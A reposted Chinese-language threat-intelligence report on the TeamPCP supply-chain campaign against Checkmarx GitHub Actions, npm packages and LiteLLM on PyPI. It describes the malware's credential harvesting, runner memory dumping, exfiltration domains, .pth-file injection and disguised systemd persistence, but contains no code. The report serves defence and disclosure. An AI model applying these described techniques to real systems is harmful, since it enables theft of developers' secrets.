| 组件 | 受影响版本 | 影响 |
| — | — | — |
| kics-github-action | 全部 35 个标签 (v1 到 v2.1.20) | 每个标签都指向恶意提交 |
| ast-github-action | v2.3.28 | 同样的投毒方式 |
| OpenVSX 扩展 | ast-results v2.53.0, cx-dev-assist v1.7.0 | VS Code 扩展市场未受影响 |
恶意代码行为:
- 搜索 AWS/Azure/GCP 凭证、SSH 密钥、Kubernetes tokens
- 从 CI/CD runner 内存中直接提取密钥 (
Runner.Worker进程内存转储) - 加密后外传至
checkmarx.zone,或使用受害者 GITHUB_TOKEN 在隐藏仓库创建 release - 尝试通过 systemd 服务 (
sysmon) 安装后门,在 Kubernetes 集群部署特权 pod
安全公告: https://github.com/Checkmarx/kics-github-action/issues/152
3. npm 生态系统 – CanisterWorm 蠕虫
TeamPCP 使用自我传播蠕虫在 npm 生态系统传播:
-
攻击方式
: 使用窃取的 npm tokens,自传播到其他可发布包
-
速度
: 28+ 包在 <60 秒内被感染
-
影响范围
: @EmilGroup (28 pkgs), @opengov (16 pkgs), @teale.io, @airtm, @pypestream
-
持久化
: systemd 服务
pgmon.service,伪装成 PostgreSQL 监控
4. BerriAI LiteLLM (PyPI) (第三波攻击)
| 受影响版本 | 传播方式 | 触发条件 | C2 |
| — | — | — | — |
| litellm 1.82.7 | 嵌入 litellm/proxy/proxy_server.py | import litellm.proxy | checkmarx.zone/raw |
| litellm 1.82.8 | litellm_init.pth 文件注入 | 任意 Python 启动 (无需 import) | models.litellm.cloud |
-
发现
: 因为载荷的 bug 造成 fork bomb (指数级进程生成),使得感染立刻被发现
-
攻击路径
:
PYPI_PUBLISHtoken 作为 GitHub 环境变量存储,通过 Trivy CI/CD 被窃取 -
影响
: Docker 代理用户不受影响 (依赖固定)
Issue: https://github.com/BerriAI/litellm/issues/24518 PYPI 官方公告: https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml OSV: https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/litellm/MAL-2026-2144.json
5. 其他受影响的 Aqua Security 项目
通过 aqua-bot 横向移动:
-
aquasecurity/tfsec -
注入恶意工作流窃取密钥
-
aquasecurity/traceeshark -
注入恶意工作流窃取密钥
-
44 个内部仓库在
aquasec-comGitHub 组织被攻击者篡改名称前缀为tpcp-docs-,公开暴露内部资产
🌐 社区响应
很多项目已经采取行动,包括禁用 Trivy 扫描直到问题解决:
-
KNMI/adaguc-server
: #665 – 暂时禁用 Trivy
-
crazy-max/ghaction-container-scan
: #240 – 发布重要安全公告
-
NousResearch/hermes-agent
: #2791 – 报告供应链攻击;Docker 构建因 litellm 被隔离而失败
-
browser-use/browser-use
: #4505 – CLI 安装脚本拉取恶意 litellm 影响所有用户
-
williamzujkowski
多个项目: 更新所有 GitHub Actions 使用 SHA 固定
📚 第三方情报资源
社区已经快速整理了 IOC 和威胁情报:
| 项目 | 链接 | 内容 | | — | — | — | | stamparm/maltrail | trails/static/malware/teampcp.txt | IOC 威胁追踪 | | nomi-sec/PoC-in-GitHub | 2026/CVE-2026-33634.json | CVE 编号条目 | | XiaomingX/data-cve-poc-py-v1 | FINAL_TeamPCP_IOC_25Mar2026.csv | 完整 IOC CSV | | iocradar0-netizen/IOCs | threat_actors/APTsV2/TeamPCP/iocs.txt | 威胁情报 IOC | | Tencent/AI-Infra-Guard | data/vuln/litellm/SUPPLY-CHAIN-2025-LITELLM.yaml | AI 基础设施防护规则 | | jfrog/research | post/litellm-compromised-teampcp.md | JFrog 研究分析 | | wiz-sec-public/SITF | sample-flows/teampcp-campaign.json | Wiz 样本流数据 |
📈 攻击规模统计
| 维度 | 数量 | | — | — | | 受影响 GitHub 组织 | 3+ (Aqua Security, Checkmarx, BerriAI) | | 受影响 npm 包 | 45+ | | 受影响 Trivy 生态组件 | 4 个 | | 暴露时间最长 | 12 小时 (trivy-action) | | 最快传播 | <60 秒 (npm CanisterWorm) |
报告生成时间: 2026-03-25 分析来源:
- TeamPCP 攻击时间线分析 (ramimac.me)
- GitHub 搜索公开数据
- 官方安全公告 关联事件: LiteLLM PyPI 供应链攻击 #24518
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑哥虾撩 aipy aipy《litellm 供应链攻击事件分析(使用AiPy自查)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论